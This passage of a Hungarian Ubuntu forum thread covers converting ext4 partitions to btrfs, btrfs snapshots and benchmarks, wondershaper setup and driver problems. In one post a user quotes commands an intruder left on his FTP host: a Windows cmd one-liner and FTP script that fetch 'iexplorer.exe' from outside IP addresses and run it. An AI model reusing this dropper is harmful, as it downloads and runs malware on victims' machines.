Aktív témák
-
Sokan használnak notebookon Ubuntut, és sokan akarnak átállni btrfs fájlrendszer használatára, ezért kidolgoztam egy olyan módszert, aminek segítségével külön telepített, második rendszer nélkül is megoldható a dolog. Mert ugye tegnap ezt írtam le, hogy azzal milyen egyszerű, de meglehet oldani egy sima Live Ubuntuval is a dolgot, most ennek a lépéseit írom le röviden, tömören:
1. Live Ubuntu indítás, GPartedben le kell csípni egy olyan 100 MB-nyit az átkonvertálandó rendszer partíciójából, majd ebből készíteni kell egy új partíciót és ext4-re kell formázni.
2. Telepített Ubuntu indítása, az újonnan létrehozott partíciót csatolni kell, majd a /boot teljes tartalmát át kell helyezni rá. Ezután le kell csatolni, és terminálban a /boot alá felcsatolni, hogy a helyén legyen. Az fstabot ki kell egészíteni, hogy benne legyen ez a partíció is (pl.: UUID=34521b78-28bb-4bb8-8b4f-bfffb1b73df6 /boot ext4 defaults 0 2). GParted segítségével ezt a 100 MB-os partíciót aktívra lehet állítani, de asszem ez nem lényeges annyira, enélkül is működik, de biztos ami biztos én így csináltam. Ezután Syanptic segítségével újra kell telepíteni a grub-pc csomagot.
3. Újfent a Live rendszer indítása, majd a Synapticban be kell jelölni a Universe tárolót, frissítés, majd jöhet a btrfs-tools telepítése. Terminálban a btrfs-convert segítségével lehet átkonvertálni eztán a root, ext4-es partíciót. Ezután az fstabot újfent át kell szerkeszteni, a / alá csatolandó btrfs UUID-jére átírni a régit, meg persze az ext4-et át kell írni btrfs-re. A grub.cfg-ben a root= utáni UUID-t szintén át kell írni az új karaktersorozatra.
4. Jöhet az Ubuntu indítása, először kiírogat dolgokat, hogy ismeretlen fájlrendszer meg ilyesmi, de rendben elindul a rendszer, be lehet jelentkezni. Újfent újra kell telepíteni a grub-pc csomagot a Synaptic segítségével, majd készen is vagyunk. Eztán simán elindul a rendszer, nem ír ki hibaüzeneteket.Ennyi lenne az egész, ez így csak pár perces munka, és viszonylag egyszerű az egész. Most így már a notebookomon is btrfs fájlrendszer van az Ubuntu alatt.
(#28399) sheratan: amennyire én tudom, az ext4-es fájlrendszer töredezettség mentesítése még mindig nem megoldott. Ellenben a btrfs-t már lehet, akár könyvtáranként és fájlonként is (sőt, asszem hogy csak így). Az indoe-ok előre le vannak foglalva, szal szerintem az nem töredezik. Persze lehet rajt variálni utólag, akkor elképzelhető.
-
#16820480
törölt tag
válasz
Kendek
#28392
üzenetére
ebben az írásban mellékszálként előjön a lemez töredezettsége is. ez azért érdekelne, mert valami olyasmiről volt szó, hogy talán a .32-es kerneltől kezdve már integrálva lesz az automatikus defrag is, ami a háttérben szépen rendben tartja a lemezt. akkor ez nem történt meg, vagy nem erre való (hanem csak az inode karbantartásra)? illetve ha nem "önmagát karbantartó" a rendszer (mondjuk ext4 alatt), akkor milyen eszközzel lehet kézzel helyretenni?
-
biker
nagyúr
válasz
ntomka
#28391
üzenetére
mihez képest több memóriát?
netbookra Win7 volt, kénytelen voltam venni 2GB ramot, mert startup után 600-700MB foglalás volt, ami hamar elérte a 980MB-ot, amikor elkezdte kiüríteni a ramot, olyan 500MB-ig
Ehhez képest a 10.04 netbook edition induláskor 165-190Mb-ot foglal, és 0MB swap, még sosem értem el az 1GB határt
Win-en a 2GB mellé 2GB swap+2GB sd a rendszer turbo boost-hoz, és símán elérem a 85-90%-os foglalást
-
-
#40553216
törölt tag
válasz
Kendek
#28392
üzenetére
most beleolvastam a magyarba. főnööm gépére múlt héten telepítettem a Lynxet, az alapjúzerrel+2 mezeivel. ez utóbbiak a név kiválasztása után automatikus bejelentkezéssel. vicces módon ha ezen a két fiók valamelyikébe jelentkezem be, lassabban tölt a rendszer, mint amikor az adminjogú fiókba jelszó beütésével együtt.
tényleg, arra van lehetőség, hogy fiókváltáskor - mikor bejelentkezve van/marad több fiók is - ne kérjen jelszót? mondjuk nem bonyolult a jelszavuk, csak lusták.
-
ntomka
nagyúr
Találtam egy hasznos hozzászólást az ubuntufórumon, érdemes angolul értőknek elolvasni. Részben azt is megmagyarázza, hogy a lucid miért fogyaszt több memóriát indítás után, mint a régebbi kiadások.
-
válasz
Siriusb
#28389
üzenetére
Egyébként Te melyik kernellel nézted? Mert tartom valószínűnek, hogy az sem mindegy, és a 2.6.35-ös kezeli jól már.
Kernel frissítés után még nem, de a jövőben bizonyára nem lesz ezzel gond, mikor a /boot könyvtár alá nem kell már más fájlrendszert csatolni. Ha egyben van az egész, vagy legalábbis a /home van csak mondjuk külön, akkor nem lesz gond.
Nekem azért került több órába főleg, mert hatalmas partíciókat, tele tartalommal konvertálgattam át. Olyan 2,5-3 órás időtartam volt csak kettő, egyenként.
Persze ezek konvertálási sebességét nagyban csökkentette az is, hogy ezek titkosított partíciók. -
Siriusb
veterán
válasz
Kendek
#28388
üzenetére
Ja, mindig az adott könyvtárban áltam, amikor készültek. Lehet nálam a LUKS bolondítja meg a dolgokat.
Én is beleöltem néhány órát.
Majd ha lesz kedvem, lehet próbálkozom még vele. Snapshottal bootolást próbáltad már? Érdemes tudni, hogy kernel upgrade után régebbi snapshot nem fog működni a régebbi kernel img miatt.
-
válasz
Siriusb
#28387
üzenetére
Jah, véletlen összekevertem őket, az Nautilus akart lenni, bocsi.
Már fáradt vagyok, mert leszívta az energiámat ez a btrfs-es default subvolume.Akkor nálad nem működik az általam leírt lépések követésével sem a dolog? Mert nálam jó volt így, ahogy írtam.
Mondjuk én úgy hoztam létre a snapshotokat, hogy másodjára is kiírtam az elérési útvonalat is, mert különben csak úgy jó, ha az adott könyvtárban állunk. Például:btrfs subvolume snapshot /media/home2 /media/home2/`date +%Y.%m.%d.,%H.%M.%S`
-
Siriusb
veterán
válasz
Kendek
#28384
üzenetére
Ugyanezt csináltám én is. Még az ellenőrzési módszerünk is megegyezik
Azaz, pl. btrs subvolume snapshot / _active paraccsal hoztam létre subvolume-t. Úgy látszik, 256-nál kezdi a számozást minden esetben.
Szerk: Synapticban?!
Rég láttam ubuntut (bocs, hogy látogatom ezt a topicot ![;]](//cdn.rios.hu/dl/s/v1.gif)
), de legutolsó emlékeim szerint az csomagkezelő -
válasz
Kendek
#28384
üzenetére
Ha nem lenne egyértelmű, akkor visszacsinálni úgy lehet a dolgot, hogy a top level számot kell megadni, a saját esetemben ez a parancs:
btrfs subvolume set-default 5 /media/home2
Természetesen a felcsatolt subvolume van a /media/home2 alatt.
Persze erre csak nagyon nehezen jöttem rá, ezért írom le. Már mindenre gondoltam, mindent próbáltam, de ez az 5-ös szám csak így legvégül ugrott be, hogy talán ez a megoldás.
Egyébként a subvulome-os felcsatolás nem úgy viselkedett, ahogy általában a felcsatolt partíciók, mert például a Synapticban nem lehetett lecsatolni csak fel, illetve le csak root jogokkal, de akkor sem távolította el a létrehozott csatolási könyvtárat. Nem tudom, hogy ez mitől van, de visszaállítva a dolgot, újra jó lett. A terminálos csatolásosdi minden esetben ment persze. -
válasz
Siriusb
#28383
üzenetére
Igen, tudok készíteni, illetve igen, megy az is, hogy beállítsam, hogy alapértelmezetten a snapshot csatolódjon fel. Lépések:
Csatold a partíciót, majd add ki a parancsot:btrfs subvolume list /...<csatolási pont>
Nálam ez jött ki erre:
ID 256 top level 5 path 2010.06.25.,14.08.46
Tehát 256 az ID, ez kell csak. Jöhet a parancs a default beállításához az én példámmal:
btrfs subvolume set-default 256 /media/home2
Ezután lecsatoltam, majd fel a partíciót, és már a snapshot csatolódott fel. Tudom ezt azért, mert az ellenőrzésképp létrehozott könyvtár hiányzik, meg persze a subvolume is eltűnt.
-
Siriusb
veterán
válasz
Kendek
#28382
üzenetére
Subvolume-kat tudsz készíteni? Illetve megy az, hogy beállítsd set-defaulttal? Nálam a / és a /home külön partíción van, és a subvolume mindkét esetben ugyanazt az ID-t kapta, úgyhogy set-default után a rendszervisszaállítás következett.
Igaz még egy csavar van benne, mindkét partíció LUKS-on van -
válasz
ntomka
#28381
üzenetére
Hát, amennyi időbe belekerült tegnap a telepítés meg beállogatás, inkább többet nem szeretném végigcsinálni. Persze majd kell, de most igazából szükségtelen volt. Kockázat a dologban meg semmi sem volt, mert könnyedén vissza tudtam volna csinálni az egészet, még most is, ha akarnám.
Egyetlen probléma, hogy a btrfs fájlrendszeren elhelyezkedő swap fájlt nem lehet csatolni, így most nincs swapom. -
válasz
Kendek
#28367
üzenetére
Nah, átkonvertáltam az éles rendszerem alatt is az ext4 partíciót btrfs-re, csak pár perces meló volt az egész. Tegnap jó pár órát eltököltem az új rendszer telepítésével és beállításával, ez nem túl kellemes, de persze szükségtelen is lett volna, csak a legalapvetőbb módszer nem jutott eszembe a GRUB 2 újratelepítésére. A menete:
Elindítottam a frissen telepített rendszert (de jó lett volna a régi is), GParted segítségével vágtam le az átkonvertálandó rendszer partíciójából 100 MB-ot, majd azt ext4-re formáztam, aktívra állítottam. Amiből levágtam, azt átkonvertáltam btrfs-re, majd csatoltam, mint ahogy az újonnan készült 100 megásat is. Ez utóbbira áthelyeztem az előbbin levő boot könyvtár teljes tartalmát. Az fstabot módosítottam úgy, hogy a / UUID-jét átírtam a konvertálás miatt megváltozott új karaktersorozatra (meg az ext4-et btrfs-re), meg kiegészítettem még a /boot alá csatolandó 100 MB-os ext4-es fájlrendszer UUID-jével. A grub.cfg-ben is átírtam ez utóbbi UUID-re az ottani karaktersorozatokat. Ezután nyomattam egy sudo update-grub-ot, majd újraindítottam a gépet. Nyomtam erőteljesen a Shift billentyűt, kiválasztottam az újonnan átkonvertált rendszert, és szépen el is indult. Ott aztán a Synaptic segítségével újratelepítettem a grub-pc csomagot és megint újraindítottam, de úgy, hogy már le volt húzva a másik merevlemez, csak ez maradt. Voilá, elindult rendben a rendszer, ennyi volt az egész, semmi ördöngősség. -
-
válasz
No-kia
#28370
üzenetére
Jobb egérgomb az ikon felett -> Méret
(#28371) hackeeeee: mindenképpen a Mozilla Security Team a jó választás, mert abban benne van a legújabb, 3.6.4-es Firefox is, míg a másikban még csak a 3.6 van és már több hónapja nem frissítették (legalábbis a Lucidét nem, de a Karmichoz is csak a 3.6.3 van benne.)
(#28368) kovaax: a lefoglalatlan megákat hozzá tudod adni GParteddel az előttük levő partíciókhoz, az nem tart semeddig sem. A legelején levőt meg hozzá tudod adni az utána következőhöz, csak az kicsit tovább fog tartani, bár nem kibírhatatlanul, mert nem túl nagy a mérete annak sem.
-
hackeeeee
Jómunkásember
FF-hez most melyik tárolót érdemes addolni Ubuntu Tweak-ben? Van egy Ubuntu Mozilla Security Team, ennél van alapból most pipa is, meg van egy Firefox Stable Channel Packages, aminél nincs pipa. Melyik a jobb? Most ugye a 3.6.6-ot még nem frissítette.
Vagy az elsőben benne van a TB is?
-
kovaax
őstag
Sziasztok,
Megint jövök okosakat kérdezni. Lett egy 200 gigás vinyó a kacat gépembe, raktam rá Xubuntut, meg aztán raktam utána egy Squeeze-t is. A vinyó particionálását a Xubi telepítővel csináltam meg előre, van egy Xubi gyökér, meg egy swap, ők elsődleges particiók. Aztán kiterjesztettben van a Xubi /home, Squeeze / /home, meg lesz egy Fedora is (/ /home). Namármost a Squeeze nem tudta formázni a particióit, mondjuk a Fedoráét sikerült vele törölnöm, de aztán gond nélkül rátelepült formázás nélkül, és működik is. Nézegetem Xubi alól, és azt látom, hogy a gparted 1 Mb méretű lefoglalaltan helyeket jelez ott, ahol az fdisk szerint egymást követik a particiók. Ez mi a fenétől van?
-
válasz
ntomka
#28365
üzenetére
Nah, közben eljátszadoztam még a btrfs-el, megpróbáltam a másodlagos biztonsági rendszeremet átültetni rá. A /boot-tot külön raktam szépen ext4-re, elvileg minden stimmelt, de egyszerűen nem tudtam a GRUB-ot feltelepíteni úgy, hogy működjön. Próbáltam háromféleképpen is, de a chroot-os dolog nem működik.
Föltelepítettem akkor alternate CD-vel, nem mértem az időt, de elég sokáig tartott a dolog, bőven tovább mint ext4-el. Most nagyjából már normalizálódott a helyzet, mert beállítottam mindent, de az első indítás után is elég lassúcska volt.
Egyelőre két problémám van még, az egyik, hogy az egérkurzor olyan 3 másodpercen belül mindig eltűnik, csak mozgatásra jön elő (ez lehet aztán, hogy valami feature lesz, ki tudja), a másik pedig, hogy nem tudok swap fájlt kreálni, illetve az átmásolt kész fájlt sem lehet bekapcsolni, nem jöttem rá, hogy mért. -
Iginotus
addikt
Nu találtam egy zavaro tényezöt Proftpd ben.
Szépen muzsikál, csak nem támogatja a magyar ékezeteket
Valakinek van erre megoldása? Ezen kívül mert ez nem megy.:
ProFTPD - iconv -
válasz
PiciKenny
#28362
üzenetére
Számolj 5000/1000-el. Mondjuk torrent miatt érdemes visszább venni, de ne 768-ra, hanem bőségesen elég 950-re is, különben elveszik elég sok sávszél. Szal próbáld meg így, hogy 5000 és 950, ezt írd be. Amúgy ők váltáskor biztosan nem 1024-el számolnak, hanem csak 1000-el.
-
válasz
PiciKenny
#28360
üzenetére
Nincsen GUI hozzá, leírom, hogy mit kell tenned:
Első lépésben telepíted, majd a /usr/sbin/wondershaper fájlt megnyitod szerkesztésre, az első sorában a #!/bin/sh-t át kell írni #!/bin/bash-ra.
Második lépésben a /etc/network/interfaces fájlt nyitod meg szerkesztésre, és abba írogatod a dolgokat, például így nézzen ki:auto lo
iface lo inet loopback
up /usr/sbin/wondershaper wlan0 5000 500
down /usr/sbin/wondershaper clear wlan0ez azt jelenti, hogy a wlan0 eszközt (ez wifi, amúgy a vezetékes az eth0 lesz valszeg nálad) szabályozza, a maximális letöltés 5000 Kbps, a feltöltés meg 500 Kbps. Ez utóbbinál érdemes olyan 5-10 %-nál kevesebbet írni mint a névleges sebesség, akkor a leghatékonyabb. Ellenőrzésképp, hogy működik-e, írhatsz be alacsonyabb számokat is, mint a sávszélességed, akkor annál gyorsabban letölteni nem tudsz, ha jó.
Hogy működésbe lépjen, ki kell még adni asudo /etc/init.d/networking restart
parancsot úgy, hogy a hálózati ikonnál az értesítési területen letiltod a hálózatot addig, majd utána engedélyezed. Vagy persze újra is indíthatod a gépet.
-
válasz
ntomka
#28355
üzenetére
Nah, kész is vagyok. Kétféle tesztet csináltam, egy nagy fájlosat, melyet a Debian.vdi képviselt a maga 12,7 GiB-nyi méretével:
btrfs -> btrfs compress - 1:56.30
ext4 -> btrfs compress - 1:52.18
btrfs -> ext4 - 1:52.18
btrfs compress -> ext4 - 1:49.67
btrfs compress -> btrfs - 1.52.55meg egy kis fájlosat, amit kettő kernel forrás együttes mérete adott:
btrfs -> btrfs compress - 2:59.35
ext4 -> btrfs compress - 2:50.33
btrfs -> ext4 - 1:45.62
btrfs compress -> ext4 - 1:33.69
btrfs compress -> btrfs - 1:58.49
ext4 -> btrfs - 1:58.19Itt ez utóbbinál lemértem mindent kétszer, volt amit háromszor is, és a jobbikat adtam meg.
Annyi látszik, hogy bizony a tömörített btrfs kicsiny fájlok másolásánál nem jeleskedik a sebesség szempontjából. Az ext4 pedig egyértelműen, minden esetben gyorsabb a btrfs-nél. Tehát asszem inkább kikapcsolom ezt a tömörítéses bigyulát. -
ntomka
nagyúr
válasz
Kendek
#28354
üzenetére
Értem, világos.
A btrfs jó darabig nem hiszem, hogy konkurencia lesz, mert leghamarabb a 11.04-es ubiban lehet alapértelmezett. Más rendszeren akár hamarabb is, de ugye az ubi a legnépszerűbb disztró. Addig meg sokan örülnek neki szerintem. Hajrá, kíváncsi vagyok a tesztekre!
-
válasz
ntomka
#28353
üzenetére
Mert igencsak bonyolultnak találtam a dolgot. Alapból nem lenne gond, de fel kellene tölteni fordításra, de ezen nincs mit fordítani. Egy csomó mindent is figyelembe kell venni, az elnevezésnél is be kell tartani szabályokat. Aztán meg ott van az is, hogy nem csak Ubuntuhoz jó. Persze ha valaki jártasabb személy adna eligazítást, akkor végül is oda is felmehetne. De amennyit frissítem mostanában, még tároló sem kell neki. Őszintén szólva a btrfs nagy konkurencia, úgyhogy lehet értelmét is veszti a dolog hamarosan.
Jut eszembe, csinálom is a sebességméréseket akkor.
-
-
válasz
ntomka
#28348
üzenetére
De nem értem a dolgot, mert csak olvasható a tartalom, nem tudnak bejelentkezni adminként, mert nincsenek felhasználók sem. Próbálkozni próbálkoztak, sőt, folyamatos volt a támadás router nélkül. Most éppen azért néztem rá, mert nem logolt, bár ez inkább azért volt, mert nem futott.
(#28349) hackeeeee: néha volt csak nyitva, meg próbálkoztam a Windet beüzemelni routernek, de aztán meggondoltam magam. Egyrészt azért, mert max. WEP titkosításig jutottam, másrészt meg azért, mert a security logban csak azt láttam, hogy állandóan próbálnak bejelentkezni adminként. Inkább dobtam fel a routerre egy DD-WRT firmware-t, aztán király lett az is.
-
Bake, most néztem rá az FTP szerveremre (vagyis tároló), ProFTPD-vel megy meg minden. Mondjuk nyitott Wifivel egyből beszokott költözni a megosztott könyvtárba egy exe-s fájl, ezt törölni szoktam. De persze titkosítva van, szal nincs gond. Viszont most a root terminált nézegetve találtam érdekes parancsokat, amelyeket még véletlen sem én adtam ki:
7~
%systemroot%\system32\cmd.exe
del eq&echo open 190.142.239.135 20207 >> eq&echo user 22438 22543 >> eq &echo get iexplorer.exe >> eq &echo quit >> eq &ftp -n -s:eq &iexplorer.exe &del eqMeg van egy eq elnevezésű fájl is a saját könyvtáramban, azóta már töröltem. A tartalma:
get iexplorer.exe
open 190.159.142.119 18037
quit
user 20669 2222
open 190.105.3.227 33678
get iexplorer.exe
user 19444 32654
quit
get iexplorer.exe
user 22438 22543
quit
open 190.142.239.135 20207Nyugalom, pánikra semmi ok, nincsen Internet Explorer a rendszeren.
-
Brutforsz
senior tag
Az a baj, hogy a leírás már több, mint fél éves, ez az Ubuntunál rengeteg időnek számít, számos alap dolog megváltozhatott, például – ha jól tudom – Lucidban alapból már nincsen xorg.conf sem, ez rengeteg korábbi útmutató használatát nehezíti (legalábbis olyan értelemben, hogy először létre kell hozatni).
Lehet, hogy csak más néven van nálad a végrehajtandó állomány; én ilyenkor úgy szoktam eljárni, hogy Alt+F2 ablakban elkezdem beírkálni a lehetséges neveket, s amikor olyanra egészíti ki, ami megfelelőnek látszik, akkor elényomom a gksu-t. (Most láttam egy helyen, hogy volt, ahol elé kellett tenni például azt, hogy fujitsu_)
-
biker
nagyúr
válasz
Brutforsz
#28343
üzenetére
ja, csak marhára no file
ez az n+1 nem működő leírás.nem hozott létre ott ilyen fileokat, apt szerint minden telepítve
gyári evtouch driver nem telepedik, szar az installer, szerinte nincs blacklist file, hogy letiltsa a ygári usbtouchscreent
holott van
szerinte xorg.conf sincs, stb -
-
-
Feltelepíted a sensors-applet elnevezésű csomagot, majd azért ellenőrizd, hogy az lm-sensors is fönt van-e. Futtasd le terminálban a
sudo sensors-detect
parancsot, mindenre igennel válaszolj, illetve egyszer csak Entert kell nyomni.
Jobb egérgomb a panelra (igen, ami alul meg fölül van) -> Hozzáadás a panelhez -> Hardware Sensor Monitor.
Jobb egérgomb a kihelyezett hőmérsékleti értékre -> Beállítások -> Szenzorok
Itt még be tudsz pipálni egy csomó mindent elméletileg, ha kell (ventilátor sebességek, feszültség értékek). -
M.W.H
aktív tag
válasz
Kendek
#28292
üzenetére
hmm. az a para h nemtudja kiolvasni mert egy mobil procit hajtok amit az alaplap "nem ismer fel" de faszán megy. bios kiolvassa a hömérsékletét de itt sajnos nem
ez igy reális hogy azért mert ismeretlen a proci?
a gnome panelt hogy inditsam? vagy az a tálca?
bocs noob vok -
válasz
ntomka
#28327
üzenetére
Hát, érzetre, végül is mondhatjuk, hogy kevésbé fogja meg a gépet másolásnál mint az ext4. De aztán lehet, hogy csak beképzeltem. Annyi biztos, hogy néhol azért lassabb, például a kemény linkes fájltörlés sebessége egyértelműen elmarad az ext4-étől. De azért így is használható, és bizonyára még fejlődni fog ezen a téren. Viszont összességében a funkciólistája is igen impozáns, úgyhogy maradok már ennél. Majd eldől, hogy mennyire stabil, most rábíztam az adataimat, remélem nem lesz belőle gond. Azért a fontosabb dolgok több helyen is megtalálhatóak. Snapshotkészítésben már nagyon otthon vagyok.
Amúgy Te is nyugodtan kipróbálhatod ám, csak azért mentsd el az adataidat előtte. Lényegében a konvertálás egy egyszerű, tapasztalataim szerint teljesen biztonságos folyamat. Ha nem válik be, akkor könnyedén vissza lehet állítani az eredeti állapotot, vagyis vissza lehet csinálni formázás nélkül ext4-re. -
ntomka
nagyúr
válasz
Kendek
#28326
üzenetére
Nálam mindig a fájlműveletek rontják le nagyon a rendszer teljesítményét, merthogy a programok, amiket használok, sok-sok kis fájllal operálnak és a random írás/olvasás megfogja keményen a gépet. Egy SSD lehet megoldaná ezt, de baromi drága.
Ez a tömörítéses sebesség jól hangzik, de elbizonytalanodtam afelől, hogy nehezen tömöríthet binárisokra nem hatékonyabb, mint az ext4. Az utóbbi meg atomstabil, míg a btrfs azért hagyhat kívánni valót maga után.
Ezen felül szimplán érdekel a dolog, mert a mai fájlrendszerek nem mai darabok, elkel a frissítés már.
-
válasz
ntomka
#28325
üzenetére
A Debian.vdi fájlom például 12,7 GB, az Ubuntué 12,1, valamint ilyen 6-7-8-9 GB-osból van még összesen 9 db. Kis fájlok prezentálásához jó lesz a kicsomagolt kernel is, vagyis abból is több, ahogy mondtad múltkor. Ma már nem, de holnap akkor megejtem a mérést.
Amúgy mért érdekes annyira számodra a dolog? Tervezed, hogy az eredmények tükrében esetleg Te is átállsz eme modern fájlrendszer használatára?Az üres dd-s kép sem hülyeség, azt is beleveszem akkor. Amúgy ezeket a vdi képfájlokat bizonyára lehet tömöríteni bőven.
-
ntomka
nagyúr
válasz
Kendek
#28324
üzenetére
Számomra csak azért érdekesek az eredményeid, mert a phoronix tesztjében tömörítés nélkül jöttek ki ilyenek, ellenben tömörítéssel látványosabb gyorsabb lett. Ez a stopper nem rossz ötlet, csak akkor jó nagy fájlok kellenek.
Wait: milyen fájlokat másolsz? Most gondolkozok, hogy ha már tömörítés, nem lehet az a baj, hogy olyasmit másolsz, amit már nem nagyon lehet tovább tömöríteni? Ergo a teljesítmény is a tömöríthetőség függvénye csak. Lehet csinálnod kéne egy baromi nagy csupa nullás fájlt dd-vel, és azt másolni.
-
válasz
ntomka
#28323
üzenetére
Igazából abban sem vagyok biztos, hogy a fájlrendszeren múlott a dolog ennél a tesztnél. Csak ki kellett választani az eszközt, amely fel sem volt csatolva. Viszont akkor meg fura az eredmény, mert ez azt jelentené, hogy a lemez elején lassabb valamelyest. Persze egy 20 GB-os, majd közvetlen mellette egy 100 GB-os partícióról van szó egy 1 TB-os merevlemezen, úgyhogy ez lehet mérési hiba is akár.
Amondó vagyok, hogy pontosabb képet kapnánk, ha egyszerűen stopperrel mérném a másolás sebességét, aztán kész. -
válasz
ntomka
#28310
üzenetére
Kipróbáltam ezt a pts-es dolgot, de annyira nem vagyok elámulva tőle. Egyetlen értelmesnek mondható tesztet találtam még, itt vannak az eredmények:
hdparm Timed Disk Reads:
Ext4 - Average: 131.50 MB/s
Btrfs - Average: 135.80 MB/s(#28319) totyax: úgy véd, hogy ha véletlen kitörölsz valamit, akkor még vissza tudod állítani könnyedén. Mondjuk ez főleg akkor érdekes, ha nem használ valaki szemetest sem, mint pl. én a Krusaderrel. Múltkor egyszer egy rosszul kiadott parancs után nagyon is jól jött.
-
ntomka
nagyúr
válasz
kovaax
#28318
üzenetére
Attól még a tárolóban elérhetőek a régihez való driverek is (legalábbis szerintem, amíg kielégíthető a függősége). Ha a meghajtó telepítővel aktiváltad, akkor azt is rakja fel. Egy ilyenre szükséged lehet a hibaüzenetből ítélve:
1- cd /etc/X11 && sudo mv xorg.conf xorg.conf.backup && sudo nvidia-xconfig
2- gksu nvidia-settings
3- Állíts be valamit
4- 'Save to X configuration file' gombra katt
5- sudo chown felhasználói_neved /etc/X11/xorg.conf -
kovaax
őstag
Engedélyeztem az nvidia zárt meghajtót, azóta a következő üzenettel indul a Xubi-m:
Az Ubuntu gyenge grafikájú módban fut
A következő hiba történt. Szükség lehet beállításainak frissítésére ennek megoldásához.
(EE) NVIDIA(0): Failed to load the NVIDIA kernel module!
(EE) NVIDIA(0): *** Aborting ***
(EE) Screens(s) found, but none have a usable configuration.Már felvettem az x-swat ppa-t is, megfrissítettem mindent, de úgy tűnik hiába...
-
válasz
totyax
#28314
üzenetére
Mert a /home-ot nem menti, csak szinkronizálja. Gyakorlatilag kemény link, véletlen törlés elleni védelem. Helyet csak nagyon minimálisat foglal, akár több száz GB-nyi adatnál is. Ha nem használod a felesleges kernel eltávolítást, akkor egyszerűen kapcsold ki. A beállításaid megmaradnak a cucc frissítésekor is, nem kell aggódnod. Egyébként azért is van alapból bekapcsolva, mert hát a rendszer-visszaállítással vissza lehet állni egy korábbi állapotra ha gond lenne, ez a lényege. Egyébként meg minek kellene valakinek 28 féle régebbi kernel ugyebár. Egyáltalán, a beépített frissítőt sem muszáj használni, akkor biztosan nem lesz gond.
-
totyax
aktív tag
válasz
Kendek
#28312
üzenetére
Ha a /home-ot nem menti, akkor mi végre van a /home szinkronizálás opció? A felesleges kernelt én az ubuntu tweak-al távolítanám el ha akarnám, ki tudom választani melyiket távolítsam el. Persze akinek már összegyűlt 10 kernel, és nem tudta hol lehet leszedni, annak jól jöhet.
-
válasz
totyax
#28311
üzenetére
Nem archivál konkrétan mindent, de a telepített rendszeredet elmenti. Annyit, hogy vissza is lehessen a teljesen kitörölt rendszert állítani úgy, hogy az újfent működjön.
Szal a /home-on, meg pár cache-elt tartalmon kívül elment mindent. Vagyis majdnem, mert csak azokat a könyvtárakat, amelyek a Linux sajátjai. Célmeghajtót megadni nem lehet, mert muszáj, hogy adott helyre mentsen, ott a mentések mellett van más is. Tömöríteni meg azért nem lehet, mert bár egy mentés kevesebb helyet foglalna, de kettő már többet, és még jóval több időbe is tellene elkészíteni. Meg tallózni sem lehetne benne kézi visszaállításhoz.
A felesleges kernelek eltávolítása azért van alapból bekapcsolva, mert sokakat zavart, hogy csak gyűlnek és gyűlnek a kernelek, így leszedi őket frissítésnél. Persze csak a gyári kerneleknél, azoknál is a jelenleg használtak előző verzióit szedi le. -
totyax
aktív tag
-
#28306
kovaax
őstag
Rebirth II.
#28298
kovaax
őstag
válasz
Rebirth II.
#28298
üzenetére
Megy az Abev is.
Szerk.: Lassú voltam.
-
válasz
ntomka
#28301
üzenetére
Próbálkoztam a GUI beüzemelésével is, de egyelőre nem jutottam semmire.
Az előbbit a saját könyvtáramban állva futtattam, az btrfs. Most átálltam ext4-es partícióra és ez lett:
AIO-Stress:
aio-stress [Test: Random Write]
Estimated Test Run-Time: 1 Minute
Expected Trial Run Count: 3
Started Run 1 @ 18:09:06
Started Run 2 @ 18:09:17
Started Run 3 @ 18:09:28
Test Results:
253.46
263.45
267.13
Average: 261.35 MB/s -
#28304
Siriusb
veterán
Rebirth II.
#28298
Siriusb
veterán
válasz
Rebirth II.
#28298
üzenetére
- abev: én is használom, a webstarttal simán felmegy, csak java legyen a gépen.
- ubuntu kiválóan alkalmas azok számára, akik először találkoznak linuxszal, használata könnyű. természetesen némi tanulást igényel (később pedig a windows elfelejtését )
- office wine-nal feltelepíthető, de átlagos célokra meg fog felelni az openoffice is. így legalább minden ingyenes és tiszta lesz a gépeden -
#28303
Csakénvagyok
őstag
Csakénvagyok
őstag
Más: A mai frisittés után kikapcsoláskor megint sípol a speaker! Másnak is? (Ubi 9.10)
-
#28302
Csakénvagyok
őstag
Csakénvagyok
#28300
Csakénvagyok
őstag
válasz
Csakénvagyok
#28300
üzenetére
Utannaolvastam, ez az APEH adóbevalló programja, ami JAVA, tehát elvileg plaformfügettlen. Tehát kéne menjen, de erre valaki más adja meg a választ. SzVSz max virtuális gépen futtatsz egy vindózt, amin elszaladgál ez meg pár ilyen progi.
![;]](http://cdn.rios.hu/dl/s/v1.gif)
), de legutolsó emlékeim szerint az csomagkezelő
Aktív témák
- ÁRGARANCIA! Épített KomPhone Ryzen 5 5600X 16/32/64GB RAM RTX 5050 8GB GAMER PC termékbeszámítással
- GYÖNYÖRŰ iPhone 13 mini 128GB Blue -1 ÉV GARANCIA - Kártyafüggetlen, MS3847
- Lenovo P500 - 1650-2690 v3 akár 12 mag/24 szál, 16-32GB DDR4 RAM, 490W 80+gold táp, számla, 6 hó gar
- Vásárlunk iPhone 12/12 Mini/12 Pro/12 Pro Max
- HIBÁTLAN iPhone 13 Mini 128GB Starlight -1 ÉV GARANCIA - Kártyafüggetlen, MS4181, 94% Akksi
Állásajánlatok
Cég: Laptopszaki Kft.
Város: Budapest
Cég: BroadBit Hungary Kft.
Város: Budakeszi